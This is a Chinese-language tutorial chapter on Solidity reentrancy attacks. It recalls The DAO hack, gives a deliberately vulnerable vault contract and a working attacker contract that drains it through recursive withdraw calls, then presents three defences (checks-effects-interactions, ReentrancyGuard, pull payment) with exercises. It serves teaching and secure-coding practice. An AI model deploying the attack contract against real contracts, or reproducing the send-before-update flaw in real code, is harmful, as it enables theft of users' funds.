🧨 第 3 章 | 重入攻击 Reentrancy 全解析
——从 The DAO 闪崩事件开始,构建你对链上攻击的基本盘
✅ 章节导读
“你把钱转出去了,却还没更新余额,
攻击者趁你没反应,再次提款。
然后……再来一次。”
这就是重入攻击。
Reentrancy 是 Solidity 最臭名昭著、历史最悠久的合约漏洞类型。
它不仅出现在**The DAO(2016)**的事件中,几乎每年都有重大项目中招。
本章我们将:
-
搞清楚 Reentrancy 是什么、为啥能攻击成功
-
复现一个最小可攻击提款合约 + 攻击者合约
-
分析攻击流程调用栈
-
提供三种防御方案,并对比优劣、Gas 成本
-
给出可部署的测试环境,供你练手
📌 什么是重入攻击?
定义:
当合约向外部账户(如 address.call{value:}
)发送 ETH 或调用函数时,如果对方是合约并在其 fallback()
或 receive()
中再次调用原合约未锁定函数,就可以反复“插入执行”造成逻辑错误。
✅ 核心条件:
-
被攻击函数包含外部调用(call、transfer、send)
-
外部调用发生前,合约状态未更新
-
被调用方可再次触发该函数
✅ 调用流程图:
User.withdraw()├─ call(msg.sender) ← 攻击者合约 fallback()│ └─ 再次调用 withdraw()│ └─ 再次 call(msg.sender)│ ...
💣 真实案例回顾:The DAO 攻击
-
合约设计缺陷:先转账后更新余额
-
攻击者构造 fallback(),每次接收到 ETH 都再次发起提款请求
-
由于
balances[msg.sender]
未更新,可反复成功提款
最终结果:攻击者仅用一次攻击流程,提走超 30% DAO 资金,迫使以太坊硬分叉。
🧪 实战演练:复现一次完整的重入攻击
✅ 场景设计:
我们构造两个合约:
-
VulnerableVault.sol
:一个存在漏洞的提款合约 -
AttackContract.sol
:一个攻击者编写的钓鱼合约
📁 1. VulnerableVault.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;contract VulnerableVault {mapping(address => uint256) public balances;function deposit() external payable {balances[msg.sender] += msg.value;}function withdraw() external {require(balances[msg.sender] > 0, "No balance");// ⚠️ 问题代码:先转账,再更新状态(bool sent, ) = msg.sender.call{value: balances[msg.sender]}("");require(sent, "Failed to send Ether");balances[msg.sender] = 0;}function getBalance() external view returns (uint256) {return address(this).balance;}
}
📁 2. AttackContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;import "./VulnerableVault.sol";contract AttackContract {VulnerableVault public vault;address public owner;uint public attackCount;constructor(address _vault) {vault = VulnerableVault(_vault);owner = msg.sender;}// 攻击入口:发起存款 + 提款(触发重入)function attack() external payable {require(msg.value >= 1 ether, "Need some ETH");vault.deposit{value: msg.value}();vault.withdraw();}// Fallback:当 vault 回调我们时,再次发起 withdraw()receive() external payable {if (address(vault).balance >= 1 ether && attackCount < 10) {attackCount++;vault.withdraw(); // 重入再次提款}}// 提款function collect() external {payable(owner).transfer(address(this).balance);}
}
✅ 攻击流程演示:
-
攻击者部署
AttackContract
,注入 1 ETH -
调用
attack()
,存入 ETH + 第一次调用withdraw()
-
在 vault 的
call
中,触发receive()
→ 递归触发withdraw()
-
vault 未更新余额,允许重复提款
-
vault 合约资金耗尽
🛡 防御方案对比:三种有效手段
✅ 方法一:Checks-Effects-Interactions 模式(推荐)
最经典的防御思路:
先检查条件 → 更新状态 → 最后做外部调用
修改 withdraw()
函数为:
function withdraw() external {uint256 amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0; // ✅ 状态提前更新(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");
}
✅ 优点:
-
易理解、逻辑清晰
-
几乎不影响 Gas 成本
-
几乎适用于所有合约逻辑结构
✅ 方法二:使用 ReentrancyGuard 修饰器
引入 OpenZeppelin 安全库:
npm install @openzeppelin/contracts
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";contract SecureVault is ReentrancyGuard {...function withdraw() external nonReentrant {...}
}
✅ 原理:
-
nonReentrant
使用布尔锁标志位,防止函数重复调用 -
所有函数执行前后自动封锁状态变更路径
✅ 注意事项:
-
所有可能互相调用的外部函数都必须加
nonReentrant
-
不可嵌套调用其他加锁函数(避免死锁)
✅ 方法三:拉支付(Pull Payment)
反转控制权,不在函数中主动付款
而是让用户在另一个函数中主动 claim 资金
mapping(address => uint256) public pending;function withdraw() external {uint256 amount = balances[msg.sender];require(amount > 0, "No balance");balances[msg.sender] = 0;pending[msg.sender] += amount;
}function claim() external {uint256 amount = pending[msg.sender];require(amount > 0, "No claim");pending[msg.sender] = 0;(bool sent, ) = msg.sender.call{value: amount}("");require(sent, "Failed to send Ether");
}
✅ 优点:
-
从根本上消除外部 call 的风险点
-
安全设计模式(推荐用于 reward claim、提款、分红)
📊 对比总结:
防御方式 | 安全性 | 性能 | 易用性 | 推荐场景 |
---|---|---|---|---|
CEI 模式 | ✅✅✅ | ✅✅ | ✅✅✅ | 通用所有外部 call 合约 |
ReentrancyGuard | ✅✅ | ✅ | ✅✅✅ | 多人协作开发、大型协议 |
Pull Payment | ✅✅✅ | ✅✅ | ✅ | 分红、奖励类、提现类逻辑 |
🧪 本章练习(建议亲手跑一遍)
-
手动部署
VulnerableVault
+AttackContract
-
调用 attack(),观察 ETH 被连续提取
-
修改合约为 CEI 防御后,重新部署验证攻击失败
-
对比 Gas 成本(用 Hardhat/Foundry trace 查看)
-
尝试在
ReentrancyGuard
版本中测试多次调用 withdraw 是否会被阻断
✅ 本章小结
-
重入攻击是 Solidity 安全审计的必修项
-
只要你的合约包含外部调用,都要考虑重入风险
-
防御逻辑应默认假设:对方合约可能会回调你自己